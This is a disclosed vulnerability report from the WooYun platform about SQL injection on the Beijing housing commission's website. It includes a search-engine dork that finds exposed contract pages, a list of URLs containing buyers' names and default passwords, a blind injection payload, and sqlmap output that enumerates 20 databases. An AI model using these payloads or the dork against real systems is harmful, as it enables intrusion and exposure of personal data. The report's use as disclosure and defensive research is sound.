当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0198000

漏洞标题:北京市住建委两个漏洞打包(主站WWWSQL注入)

相关厂商:北京市住房和城乡建设委员会

漏洞作者: 路人甲

提交时间:2016-04-19 11:40

修复时间:2016-06-06 16:50

公开时间:2016-06-06 16:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-19: 细节已通知厂商并且等待厂商处理中
2016-04-22: 厂商已经确认,细节仅向厂商公开
2016-05-02: 细节向核心白帽子及相关领域专家公开
2016-05-12: 细节向普通白帽子公开
2016-05-22: 细节向实习白帽子公开
2016-06-06: 细节向公众公开

简要描述:

看到zone里有关测试漏洞到底会不会判刑的问题,我觉着自己不过线就不会有事的,被抓的基本上都是破坏相关计算机或者使用被控制服务器牟利,做黑产,或恶意DDOS。自己有底线就没问题,多乌云,多机会!

详细说明:

百度搜索
site:**.**.**.** inurl:password
可以搜到部分人员的合同,附部分链接

http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1613147&Contract_mf=%E9%BB%84%E6%99%B6%E6%99%B6&Contract_Password=111111
http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1743081&Contract_mf=%E9%99%88%E5%9B%BD%E5%BC%BA&Contract_Password=111111
http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1733822&Contract_mf=%E6%98%8E%E6%98%9F&Contract_Password=111111
http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1742984&Contract_mf=%E5%BA%84%E5%AE%B6%E7%90%A2&Contract_Password=111111
http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1547220&Contract_mf=%E8%B5%B5%E5%91%88%E5%8D%8E&Contract_Password=111111
http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1643816&Contract_mf=%E6%9D%8E%E6%A2%A6%E5%9C%86&Contract_Password=111111
http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1741851&Contract_mf=%E5%BC%A0%E6%A1%82%E8%8A%AC&Contract_Password=666666
http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1743081&Contract_mf=%E9%99%88%E5%9B%BD%E5%BC%BA&Contract_Password=111111
http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1709255&Contract_mf=%E9%87%91%E5%BF%97%E5%9B%BD&Contract_Password=000000
http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1668634&Contract_mf=%E5%BC%A0%E4%BA%AE%27and%271%27=%271&Contract_Password=123456
http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1706061&Contract_mf=%E6%9F%B3%E4%BC%9F&Contract_Password=000000
http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1613147&Contract_mf=%E9%BB%84%E6%99%B6%E6%99%B6&Contract_Password=111111
http://www.**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1674630&Contract_mf=%E5%BC%A0%E5%BF%97%E5%85%B4&Contract_Password=000000


基本都是几百万的合同

3.png


4.png


5.png

漏洞证明:

SQL注入:Contract_mf参数

http://**.**.**.**/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1706061&Contract_mf=%E6%9F%B3%E4%BC%9F'and'1'='1*&Contract_Password=000000


and1=1.png


'and'1'='2时跳转到错误页面,存在注入

and1=2.png


Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://**.**.**.**:80/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1668634&Contract_mf=%E5%BC%A0%E4%BA%AE'and'1'='1' AND 2033=2033 AND 'axqH'='axqH&Contract_Password=123456
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://**.**.**.**:80/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1668634&Contract_mf=%E5%BC%A0%E4%BA%AE'and'1'='1' AND 2033=2033 AND 'axqH'='axqH&Contract_Password=123456
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://**.**.**.**:80/tabid/2159/Default.aspx?ModelKey=SendInfo&Contract_qyh=Y1668634&Contract_mf=%E5%BC%A0%E4%BA%AE'and'1'='1' AND 2033=2033 AND 'axqH'='axqH&Contract_Password=123456
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008


20个库,可跨库查询

available databases [20]:
[*] application 应用
[*] bjfdc 北京房地产
[*] bjfdc_for_auditburea
[*] bjfdc_tax 税相关
[*] bjhouse 北京住房
[*] bjhouse_application
[*] bjrema
[*] datacenter 数据中心
[*] figure 指纹??
[*] jianceshi
[*] master
[*] model
[*] msdb
[*] policyhouse
[*] real_estate_analyse
[*] real_estate_analyse_bak
[*] real_estate_analyseImportdata
[*] tempdb
[*] ttib
[*] vk


1.png


当前库270多个表

2.png


根据北京住建委这样的管房,道路建设等,可能涉及全部北京购房者的信息,没有去跑数据,目前只是初步推测。

修复方案:

过滤敏感字符

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-04-22 16:49

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向北京市政府信息化主管部门通报,并抄报北京分中心协助处置,由其后续协调网站管理单位处置.

最新状态:

暂无